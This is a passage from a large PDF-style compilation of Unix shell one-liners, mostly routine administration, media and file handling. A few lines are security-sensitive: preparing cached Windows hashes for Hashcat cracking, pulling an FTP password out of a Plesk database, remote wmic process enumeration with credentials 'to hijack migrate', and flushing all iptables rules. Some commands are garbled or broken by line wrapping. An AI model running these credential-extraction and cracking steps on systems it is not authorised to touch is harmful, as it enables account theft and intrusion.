# pull only the temp sensor data off of a netapp
/usr/bin/snmpwalk -v 1 -c public 10.0.0.22 1.3.6.1.4.1.789.1.21.1.2.1.25.1| awk -F : '{print
"netapp temp:" $4 }'
# Remove a range of lines from a file
sed -i 6,66d <filename>
# Find and sort out folders by size
du -s $(ls -l | grep '^d' | awk '{print $9}') | sort -nr
# Backup hidden files and folders in home directory
tar zcpvf backup.tgz $(find $HOME -maxdepth 1 -name '.*' -and -not -name '.')
# Encrypt your file using RC4 encryption
hashkey=`echo -ne <your-secret> | xxd -p`; openssl rc4 -e -nosalt -nopad -K $hashkey -in
myfile.txt -out myfile.enc.txt
# Recursively unrar in different folders
for i in `ls` ; do cd $i ; pwd; for f in `ls *.rar` ; do unrar e $f ; done ; cd .. ; done

476 / 658

All UNIX COMMANDS


# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile stream_video_name url
# Flatten a RGBA image onto a white background.
composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png
[^ ]* \([^ ]*\) .*/\1/g'` rgb-white.png

| sed 's/[^ ]*

# get IPs with a DHCP lease


egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'
# Step#1
Compare the disk spaces first!
blockdev --getsize64 /dev/sd[ab]
# create file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
# Multiple Perl Search/Replace from a file
cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i
-pe #s/$1/g# xxx.sql}' | tr "#" "\'" | bash
# Add a custom package repository to apt sources.list
sudo echo "package url" >> /etc/apt/sources.list
# Instant threadpool
cat item_list | xargs -n1 -P<n> process_item
# Recursive remove files by mask
find . -name ".DS_Store" -print0 | xargs -0 rm -rf
# Play Mediafile in multipart RAR archive on the fly with buffer to seek back and forth
unrar p -inul *.rar|mplayer -cache 100000 # create compressed encrypted backup
tar --exclude-from=$excludefile -zcvp "$source" | openssl aes-128-cbc -salt -out $targetfile
-k $key
# List the busiest websites on a cPanel server
/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | grep GET | awk '{print
$12}' | sort | uniq -c | sort -rn | head

# Use a server as SOCKS5 proxy over SSH


ssh -D 8080 -f -N srv1
# Joke : prints line numbers in a longest way
perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle, "<", $file
or die "$0: $file: $!\n"; while (<$handle>) { print $c++, " " x 5, $_; } close($handle);'
<FILE>
# Convert all your mp3 to ogg
find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o ${song
%.mp3}.ogg -; done
# Collect output from a segfaulting program and keep the script from dying
(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)
# Fixing maven POM messed up by a broken release.
find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \;

477 / 658

All UNIX COMMANDS


# To capture a remote screen
DISPLAY=":0.0" import -window root screenshot.png
# Print all words in a file sorted by length
for a in $(cat sample.txt); do echo "${#a} $a";done|sort -n
# Show 10 6 characters pass and crypt(3) *if you like
SEED=$(head -1 /dev/urandom|od -N 1);for i in {1..10};do tmp=$(mkpasswd ${RANDOM});pass=$
{tmp:2:6};echo Pass $pass Crypt: $(mkpasswd $pass);done
# Convert metasploit cachedump files to Hashcat format for cracking
cat *mscache* | awk -F '"' '{print $4":"$2}'
# extract only the subroutine names from a perl script
grep -Po '^sub (\w+)' file.pm | cut -d' ' -f2
# Load your [git-controlled] working files into the vi arglist.
vim $(git diff origin/master --name-only)
# Gentoo portage easter egg
emerge --moo
# Number of connections to domains on a cPanel server
/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | awk 'BEGIN { FS = "
" } ; { print $12 }' | sed '/^$/d' | sort | uniq -c | sort -n
# Reset the time stamps on a file
touch -acm yyyymmddhhMM.ss [file]
# Print multiline text starting and ending at specific regexps with perl
man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg'
# Print all fields in a file/output from field N to the end of the line
awk '{print substr($0, index($0,$N))}'
# refresh texmacs font cache after installing new fonts
texmacs --delete-font-cache
# See how much space is used by a file or directory
du -hs /path/to/target
# Use the last command's output as input to a command without piping and bind to it to a key
sequence in bash.
bind '"\C-h": "\`fc\ \-s\`"'
# archlinux: updates repository mirrors according to most up to date mirrors, then speed
sudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist
# Write over previous line in bash
seq 1 1000000 | while read i; do echo -en "\r$i"; done
# Look for free ip's in a given /24 subnet.
SUBNET="192.168.41" ; diff -y <(nmap -sP -n ${SUBNET}.0/24 | grep ${SUBNET}. | awk '{print
$5}' | sort -t"." -k4 -n) <(for i in $(seq 1 254); do echo ${SUBNET}.$i; done)
# Amount of physical memory in HP-UX
machinfo | grep -i memory
# list all process

478 / 658

All UNIX COMMANDS


for i in `pidof java`; do echo $i; ll /proc/$i; done;
# wmic search systems for running 'exe' to hijack migrate
FOR /F "delims==" %%A IN ('type ips.txt') DO wmic /Node:%%A wmic /user:username
/password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call getowner

# Pulls FTP password out of Plesk database.


mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from
accounts INNER JOIN sys_users ON
accounts.id=sys_users.account_id WHERE
sys_users.login='xxxx';"
# snapshot partition for consistent backups with minimal downtime
mksnap_ffs /var /var/.snap/snap_var_`date "+%Y-%m-%d"` ; mdconfig -a -t vnode -f
/var/.snap/snap_var_`date "+%Y-%m-%d"` -u 1; mount -r /dev/md1 /mnt
# Print a row of characters across the terminal
println() {echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"}
# archlinux: shows list of files installed by a package
pacman -Ql gvim
# Create a QR code image in MECARD format
getent passwd $(whoami) | echo "$(perl -ne '/^([^:]+):[^:]+:[^:]+:[^:]+:([^ ]+) ?([^,]+)?,
([^,]*),([^,]*),([^:,]*),?([^:,]*)/ and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:
$1@"')$HOSTNAME;;" | qrencode -o myqr.png
# Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes
echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4)
# Lists all users in alphabetical order
cut -d: -f1 /etc/passwd | sort
# Print all words in a file sorted by length
for w in $(tr 'A-Z ,."()?!;:' 'a-z\n' < sample.txt); do echo ${#w} $w; done | sort -u | sort
-n
# Get your outside IP address - now with IPv6 support
curl ip.tyk.nu
# Kill all processes belonging to a user
fuser -kiu / name
# SSH Autocomplete. Takes your history and creates ssh autocomplete using tab
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh /\"/' | sed 's/
$/\"/'))" ssh
# Batch transcode .flac to .mp3 with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! audioconvert ! lamemp3enc
target=quality quality=2 ! id3v2mux ! filesink location="${i%.flac}.mp3"; done
# Turn off your laptop screen on command
xset dpms force off
# Split the file into multiple files at every 3rd line
awk 'NR%3==1{x="F"++i;}{print > x}' file3
# List the busiest script running on a cPanel server (showing domain)

479 / 658

All UNIX COMMANDS


/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | grep GET | awk '{print
$12 $14}' | sort | uniq -c | sort -rn | head
# Convert Windows/DOS Text Files to Unix
dos2unix dostxt unixtxt
# Substitution cipher
echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ")
# Replace spaces in a filename with hyphens
for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done
# archlinux: shows which package created a given file
pacman -Qo /etc/yaourtrc
# format txt as table not joining empty columns adding header with column numbers
cat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h;
print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; | less -S
# Show external IP; Short and sweet.
lynx -dump ip.nu
# change default Web browser
update-alternatives --config x-www-browser
# Preview All Files in Directory
find . -type f | xargs -I% bash -c 'echo -e "\033[31m%\033[0m" && [[ ! `file %` =~
.*binary.* ]] && head "%"'
# Total size in RPM packages
rpm -qa --queryformat '%{SIZE}\n' | awk '{sum += $1} END {printf("Total size in packages =
%4.1f GB\n", sum/1024**3)}'
# package most recent files in project
find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -

# Disable graphical login on OpenSolaris


svcadm disable gdm
# send incoming audio to a Icecast server (giss.tv)
rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwd giss.tv 8000 password
/mountpoint.ogg
# Center text in console with simple pipe like
center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-$
{#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; ls --color=none / |
center
# Convert a .wav file to .sln file
sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln
# Colored word-by-word diff of two files
wdiff -n -w $'\033[30;41m' -x $'\033[0m' -y $'\033[30;42m' -z $'\033[0m' oldversion.txt
newversion.txt
# Symlink most recent file to 'latest' using full paths.
ln -s "`find /path -type f -iname $(ls -t /path | head -1 )`" /path/latest

480 / 658

All UNIX COMMANDS


# Print trending topics on Twitter
curl -s mobile.twitter.com/search | sed -n '/trend_footer_list/,/\ul>/p' | awk -F\> '{print
$3}' | awk -F\< '{print $1}' | sed '/^$/d'
# Geographic location and more for current external IP address.
lynx -dump http://www.ip2location.com/ | sed -n '/^ *Field Name *Value *$/,/^ *\[_\] *Mobile
.*Carrier.*name/p'
# find css or js files, minifiy with in-path-yuicompressor, gzip output, and save into
<static-file>.gz
find -regextype posix-egrep -regex '.*\.(css|js)$' | xargs -I{} sh -c "echo '{}' &&
yuicompressor '{}' | gzip -c > '{}.gz'"
# Disable all iptables rules without disconnecting yourself
iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT
# Get a summary of network devices in the system
for i in /sys/class/net/*; do e=`basename $i`; echo "# $e"; sudo ethtool $e | grep -E "Link|
Speed" ; done
# for loop with leading zeros
for s in `seq -f %02.0f 5 15`; do echo $s; done
# Extract all urls from the last firefox sessionstore.js file used.
grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
# path manipulation in bash
rp() { local p; eval p=":\$$1:"; export $1=${p//:$2:/:}; }; ap() { rp "$1" "$2"; eval export
$1=\$$1$2; }; pp() { rp "$1" "$2"; eval export $1=$2:\$$1; }
# Instant editing screenshot with Gimp
sleep 4; xwd > /tmp/_.xwd ; gimp /tmp/_.xwd
# List contents of jar
unzip -l file.jar
# archlinux: clears package cache of uninstalled packages
sudo pacman -Sc
# Multi-thread any command
xargs -P 3 -n 1 <COMMAND> < <FILE_LIST>
# Mark manually deleted files as deleted in svn
svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}'
# CPIO better than TAR
find . -type f -name '*.sh' -print | cpio -o | gzip >sh.cpio.gz
# before writing a new script
:autocmd BufNewFile *.sh,*.bash 0put =\"#!/bin/bash\<nl># -*- coding: UTF8 -*-\<nl>\<nl>\"|$
# List users in a group
lsgrp() { read GID USERS <<< "$(grep "^$1:" /etc/group | cut -d: -f3,4 | tr ':,' ' ')" ;
echo -e "${USERS// /\n}" | egrep -v "^($1)?$" ; egrep :[0-9]+:$GID: /etc/passwd | cut -d:
-f1 ; }
# List visible files ordered by modification date and shows date in full iso format
ls -tl --time-style=full-iso
# Execute multiple SQL commands from a File

481 / 658

All UNIX COMMANDS


db2 connect to STGNSY3; db2 -tvf source_CUST_DIM_DELTA.sql > kk.out
# Delete all files matching a pattern
find . -name vmware-*.log -exec rm -i {} \;

# Wait for Web service to spin up, aka alert me when the server stops returning a 503
while curl -dsL example.com 2>&1 | grep 503;do sleep 8;done;echo server up
# JVM Garbage Collector Stats
jstat -gc [jvmpid]
# Adds characters at the beginning of the name of a file
rename 's/.*/[it]$&/' *.pdf
# Convert Raw pictures to jpg
for img in $( ls *.CR2 ); do convert $img $img.jpg; done
# for loop with leading zero in bash 3
printf "%02u " {3..20}; echo
# Recursively search a directory tree for all .php .inc .html .htm .css .js files for a
certain string
find -type f -regex ".*\.\(js\|php\|inc\|htm[l]?\|css\)$" -exec grep -il 'searchstring' '{}'
+
# Convert DOS newlines (CR/LF) to Unix format
dos2unix <file>
# archlinux: clear the package cache of all packages
sudo pacman -Scc
# Copy files from one tree to another (say, project to project) while preserving their
directory structure.
cd ~/ruby/project_a ; find . -name "*profile*" -exec pax -rw {} ~/ruby/project_b/ \;
# extract element of xml
xmlstarlet sel -t -v "/path/to/element" file.xml
# Create a RAM Disk in OSX
diskutil erasevolume HFS+ "ramdisk" `hdiutil attach -nomount ram://8000000`
# mn ub
hbuu@
# Delete large amount of files matching pattern
sudo find . -name "*.csv" | xargs /bin/rm
# make a bunch of files based on a template file
echo "template file: ";read tpl;echo "new file(s separated w. space):"; read fl;touch
$fl;find $fl -exec cp -ap $tpl "{}" \;
# Recompress all files in current directory from gzip to bzip2
for gz in `find . -type f -name '*.gz' -print`; do f=`basename $gz .gz` && d=`dirname $gz`
&& echo -n `ls -s $gz` "... " && gunzip -c $gz | bzip2 - -c > $d/$f.bz2 && rm -f $gz && echo
`ls -s $d/$f.bz2`; done
# warped and shagadelic webcam view with gstreamer
gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink

482 / 658

All UNIX COMMANDS


# Load "missing" man pages for your stuff.
addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPATH}; }
# archlinux: remove a package completely from the system.
sudo pacman -Rns packagename
# To know the IP address of the machine current running on the network
fping -r1 -Aag <network>/<cidr_mask> 2>/dev/null | sort -gt. -k4
# webpage reader
curl -s http://www.google.com | espeak -m -ven+11
# find str in in a directory which file extension is .php
find ./ -type f -name "*.php" | xargs grep -n "name" -r {}
# fsarchiver - probe disks and partitions
fsarchvier probe simple
# Convert JSON to YAML
perl -MYAML -MJSON -0777 -wnl -e 'print YAML::Dump(decode_json($_))' package.json
# Which files/dirs waste my disk space
du -xm --max-depth 2 /var/log | sort -rn | head
# Allows incoming traffic from specific IP address to port 80
sudo ufw allow proto tcp from 1.2.3.4 to any port 80

# function for copy files with progress bar (using pv - pipe viewer)
cp_p() { if [ `echo "$2" | grep ".*\/$"` ]; then pv "$1" > "$2""$1"; else pv "$1" >
"$2"/"$1"; fi; }
# find files ending in *.log that contain both 'foo' and 'error'
grep -l foo $(grep -l error *.log)
# count processes with status
ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total
status D: "count}'
# Arch Linux sort installed packages by size
pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2
# Add spacer to left side of Dock
defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-type="spacertile";}'; killall Dock
# Uptime in minute
uptime | awk -F ',' ' {print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1; min=$2;
print hrs*60 + min} '
# Convert from hexa to decimal
hexdec() { bc <<< "obase=10; ibase=16; $1"; }
# shorten one URL with an alias that you choose; type "tinyurl URL ALIAS"
tinyurl () { URL="$1";ALIAS="$2"; curl -s 'http://tinyurl.com/create.php?
source=indexpage&url='"$URL"'&submit=Make+TinyURL%21&alias='"$ALIAS" >/dev/null ;}
# Retry the previous command until it exits successfully

483 / 658

All UNIX COMMANDS


until !!; do done
# Convert JSON to YAML
perl -MYAML -MJSON -0777 -wnl -e 'print YAML::Dump(decode_json($_))' package.json
# Shuffle mp3 files in current folder (and subfolders) and play them.
find . -iname "*.mp3" | mpg123 -Z --list # free swap
free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2
# Trim png files in a folder
for file in `ls *.png`; do convert -trim $file $file; done
# delete PBS jobs based on strings from qstat output
qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}'
# How many lines in your c project?
find . -type f -name *.[ch] -exec wc -l {} \;
# all out
ps -fu userid | awk '/userid/{print $2}' | xargs kill
# Add spacer to right side of Dock
defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tiletype="spacer-tile";}'; killall Dock
# Convert a mp3 file to CBR 128 kbps high quality
lame -m j -V 4 -q 0 --lowpass 17 -b 128 --cbr "infile" "128/outfile"
# Count git commits since specific commit
git log --summary 223286b.. | grep 'Author:' | wc -l
# Create user
sudo useradd -U -m -s /bin/bash new_user
# Create an ISO
genisoimage -o ../squeeze.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot
-boot-load-size 4 -boot-info-table -J -R -V disks .
# Generate a one-time TOTP token, then restore the clipboard after 3 seconds
alias oath='temp=$(pbpaste) && oathtool --base32 --totp "YOUR SEED HERE" | pbcopy && sleep 3
&& echo -n $temp | pbcopy'
# Laminate files line by line
lam -f 1.4 myfile
# Untar file with absolute pathname to relative location
pax -r -s ',^/,,' -f file.tar
# Command to resolve name from Ip address, passing only the last field after seq (C Class
for example)
seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr
-s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'

# tar+pbzip2 a dir
tar -c directory_to_compress/ | pbzip2 -vc > myfile.tar.bz2

484 / 658

All UNIX COMMANDS


# Trim png files in a folder
for file in *.png; do mogrify -trim "$file"; done
# AmazonMP3 Daily Deals
wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e
's/<[^>]*>//g' -e 's/^ *//' -e 's/\&[^;]*;/ /'
# Calculating number of Connection to MySQL
mysql -u root -p -e"show processlist;"|awk '{print $3}'|awk -F":" '{print $1}'|sort|uniq -c
# dump a mounted disk to an ISO image
dd if=/dev/disk1 of=disk1.iso
# What is my public IP address
wget -qO - http://whatismyip.org | tail
# Change mysql prompt to be more verbose
export MYSQL_PS1="mysql://\u@\h:/\d - \R:\m:\s > "
# list directories only
ls -l | grep ^d
# Calculate md5 sum with openssl
openssl dgst -md5 file.ext
# Print whois info about connected ip addresses
netstat -np --inet|awk '/firefox/{split($5,a,":");z[a[1]]++} END{for(i in z){system("whois "
i)}}'|less
# get Windows OS architecture using Cygwin
wmic OS get OSArchitecture /value | grep -Eo '[^=]*$'
# psg (ps grep) function if you don't have pgrep or don't know how to use it
psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2";
fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head
-1)" ; }
# Start delivery of mail queued on a secondary mail server.
fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example.org
# find files that contain foo, but not bar
grep -l foo *cl*.log | xargs grep -lL bar
# Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X
defaults write com.apple.terminal FocusFollowsMouse -string YES
# Get your external IP address
curl http://my-ip.cc/host.json
# File size
stat --format "%s" <file>
# Calculating number of Connection to MySQL
mysql -u root -p -N -e"show processlist\G;" | egrep "Host\:" | awk -F: '{ print $2 }' | sort
| uniq -c
# Remove duplicate reminders in Outlook 2007
outlook.exe /cleanreminders

485 / 658

All UNIX COMMANDS


# find all files in the current directory matching name * and searching for a string
"mystring". outputs all the filenames that contain the search string.
find . -name "*" | xargs grep "mystring"
# Logout ssh user automatically after specified time
if [ -n "$SSH_CONNECTION" ]; then export TMOUT=300; fi
# Use curl with a local SOCKS5 proxy (e.g. Tor)
turl(){ curl --socks5-hostname localhost:9050 $@ ; }
# Do a quick check on the harware specifications on a set of Linux (RedHat) boxes
clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat
/proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done
# list all hd partitions
fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"
# Watch a TiVo File On Your Computer
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode
-m $MAK -- - | mplayer - -cache-min 50 -cache 65536

# get disk usage sum for files of type


find . -name '*.xml' -type f -print | xargs du -ch
# Specify a file name that starts with hyphen, e.g. "-i"
rm -- -i
# List svn commits by user for a date range
svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c
# Get your external ip right into your xclipboard
w3m mon-ip.com -dump|grep -Eo "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"|uniq|xclip
-selection clipboard
# Show crontabs for all users
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u
$user -l; done
# Gets directory and files tree listing from a FTP-server
lftp -u<<credentials>> <<server>> -e "du -a;exit" > server-listing.txt
# Remove duplicate lines using awk
!a[$0]++
# Generate secure password to userwith chpasswd
echo "encryptedpassword"|openssl passwd -1 -stdin
# Get the IP of the host your coming from when logged in remotely
echo $SSH_CLIENT | cut -f 1 -d ' '
# File size
stat -c "%s" <file>
# sort at jobs chronogically
atq |sort -k 6n -k 3M -k 4n -k 5 -k 7 -k 1
# Purge all broken packages on ubuntu
aptitude purge $(dpkg -l|grep ^rc|awk '{ print $2 }')

486 / 658

All UNIX COMMANDS


# Copy canonical path of file 'foo' in the clipboard
readlink -fn foo | xsel -ib
# Get current stable kernel version string from kernel.org
curl -s -k https://www.kernel.org/feeds/kdist.xml | sed -n -e 's@.*<guid>\
(.*\)</guid>.*@\1@p' | grep 'stable' | head -1 | awk -F , '{print $3}'
# Make a pipe organ sound using XMMS and Python
xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"`
# Extract the emoticons regex from a running skype process
S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|
xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1
# Will email user@example.com when all Rsync processes have finished.
$(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx
user@example.com) > /dev/null &
# Function to split a string into an array
Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf
"%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }
# If you have lots of svn working copies in one dir and want to see in which repositories
they are stored, this will do the trick.
(for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//'`; do echo $i; svn info $i; done )
| egrep '^.\/|^URL'
# Greets the user appropriately
echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then echo
morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)
# Synchronize date and time with a server over ssh
date +%Y%m%d%T -s "`ssh user@server 'date "+%Y%m%d %T"'`"
# Remove all unused shared memory segments for current user
ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 }}' | xargs -n 1 ipcrm -m
# Copy only hidden files and directories with rsync.
rsync -a /path/from/.[^.]* /path/to
# Detail info about the hard disk
hdparm --verbose /dev/sda1
# Show crontabs for all users
for i in /var/spool/cron/*; do echo ${i##*/}; sed 's/^/\t/' $i; echo; done

# send DD a signal to print its progress


watch -n 1 pkill -USR1 "^dd$"
# Start byobu (tmux) with pre-defined windows
byobu new-session -d -s name; byobu new-window -t name:1 -n 'window-1-title' 'command-1';
byobu new-window -t name:2 -n 'window-2-title' 'command-2'; byobu select-window -t name:1;
byobu -2 attach-session -t name
# Fetch the current human population of Earth
curl --silent http://www.census.gov/population/international/ | grep wclocknum | sed -r
's@^.*>([0-9,]+)<.*$@\1@'

487 / 658

All UNIX COMMANDS


# Download files linked in a RSS feed
wget -q -O- http://example-podcast-feed.com/rss | grep -o "<enclosure[ -~][^>]*" | grep -o
"http://[ -~][^\"]*" | xargs wget -c
# Grant full access permissions to a mailbox
Add-MailboxPermission -Identity "username_of_mailbox_owner" -User username_control_to
-AccessRights Fullaccess -InheritanceType all
# MAMP: "Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)" solution
sudo ln -s /Applications/MAMP/tmp/mysql/mysql.sock /tmp/mysql.sock
# Unrar all files in a directory
for f in *.rar;do unrar e ?$f?;done
# checks if host /service is up on a host that doesn't respond to ping
while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done
# Make a quick network capture with tcpdump to a file - filename based on tcpdump arguments
tcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap"
# get useful statistics from tcpdump (sort by ip)
tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}.[0-9]{1,}.[0-9]{1,}.[0-9]
{1,}' | sort | uniq -c | sort -n
# Testing
who am i | wc -l
# Generate a Random (unicast) MAC address
od -An -N6 -tx1 /dev/urandom | sed -e 's/^
[13579bdf]/\10/'

*//' -e 's/

*/:/g' -e 's/:$//' -e 's/^\(.\)

# Create a tar archive from a text list without trailing slash in directories
star -c -v -f myarchive.tar -no-dirslash list=list.txt
# Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name "*.pdf" -exec pdftk {} dump_data output \; | grep NumberOfPages | awk '{s+=$2}
END {print s}'
# zip all folders separate zip files with named the folder's name.
eval `ls -1d * | awk '{print "zip -r "$1".zip "$1";"}'`
# turn on knoppix 7 touchpad Tap function (mouse clicks)
synclient TapButton1=1 TapButton2=2 TapButton3=3
# Grant sendas permission to a mailbox
Add-ADPermission "username_mailbox" -User "Domain\User" -Extendedrights "Send As"
# colored tail
tail -f FILE | grep --color=always KEYWORD
# Get the date field from syslog for a certain set of events
grep xxxx messages | cut -d ' ' -f 1,2,3
# List contact infomation for Domain list
whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration Service
Provider:/ {print} END{print "----------------\n"}'
# Watch RX/TX rate of an interface in kb/s

488 / 658

All UNIX COMMANDS


while :; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`;
echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}';
sleep 1; done
# Capture screen and mic input using FFmpeg and ALSA
a=$(xwininfo |gawk 'BEGIN {FS="[x+ \t]*"} /-geometry/ {print
int(($3+1)/2)*2"x"int(($4+1)/2)*2"+"$5"+"$6}') ; echo ${a} ; ffmpeg -f x11grab -s ${a} -r 10
-i :0.0 -sameq -f mp4 -s wvga -y /tmp/out.mpg
# Meter your entropy
pv /dev/random > /dev/null
# load a js file in the nodejs REPL
.load ./path/to/file.js
# kworker issue. Phase one: find the culprit.
grep enabled /sys/firmware/acpi/interrupts/*

# vim - save document with privileges from vim


:w !sudo tee %
# Forward messages to mailbox and do not keep in mailbox
Set-Mailbox -Identity John -DeliverToMailboxAndForward $false -ForwardingSMTPAddress
manuel@contoso.com
# Create a P12 file, using OpenSSL
openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CAcert.pem -name "certName" -out /dir/certName.p12
# Recursive replace of directory and file names in the current directory.
find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'
# An easter egg built into python to give you the Zen of Python
echo "import this" | python
# Proxy all web traffic via ssh
Putty -d 8080 [server]
# Loop over files found using 'find' (works with filenames that contain spaces)
find -name 'foo*' | while read i; do echo "$i"; done
# copy selected folder found recursively under src retaining the structure
find <src-path-to-search> -name "<folder-name>" | xargs -i cp -avfr --parent {} /<dest-pathto-copy>
# Calculate 1**2 + 2**2 + 3**2 + ...
N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc
# All IP connected to my host
netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*/\1/' | sort -u
# Setting up colors for solarized color scheme
gconftool-2 --set "/apps/gnome-terminal/profiles/Default/palette" --type string
"#070736364242:#D3D301010202:#858599990000:#B5B589890000:#26268B8BD2D2:#D3D336368282:#2A2AA1
A19898
# Print failed units in systemd
systemctl --failed | head -n -6 | tail -n -1

489 / 658

All UNIX COMMANDS


# Find highest context switches
grep -H voluntary_ctxt /proc/*/status |gawk '{ split($1,proc,"/"); if ( $2 > 10000000 )
{ printf $2 " - Process : "; system("ps h -o cmd -p "proc[3]) } }' | sort -nk1,1 | sed
's/^/Context Switches: /g'
# create ec2 chef client
knife ec2 server create -r role[base],role[webserver] -E development -I ami-2a31bf1a -i
~/.ssh/aws-west.pem -x ec2-user --region us-west-2 -Z us-west-2b -G lamp --flavor t1.micro
-N chef-client1 --no-host-key-verify
# Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -re 's#(:|^)cde($|:)#:#g;s#^:##g;s#:$##g'`; }
# kworker issue. Phase 2. Clobbering the interrupt that is problematic
echo "disable" > /sys/firmware/acpi/interrupts/gpeXX
# List all bash shortcuts
bind -P | grep -v "is not" | sed -e 's/can be found on/:/' | column -s: -t
# Change domain user password
net user user_name new_password /domain
# List all available commands
in bash hit "tab" twice and answer y
# rcsdiff: Output the differences side-by-side
rcsdiff -y myfile
# Updates file in all the zips
ls *.zip|awk '{$a="zip -fo "$1" FILENAME"; system($a);}'
# Get Google PageRank
curl pagerank.bz/yourdomain.com
# Create tarball of files modified in git
tar czf git_mods_circa_dec23.tgz --files-from <(git ls-files -m)
# Create new user with home dir and given password
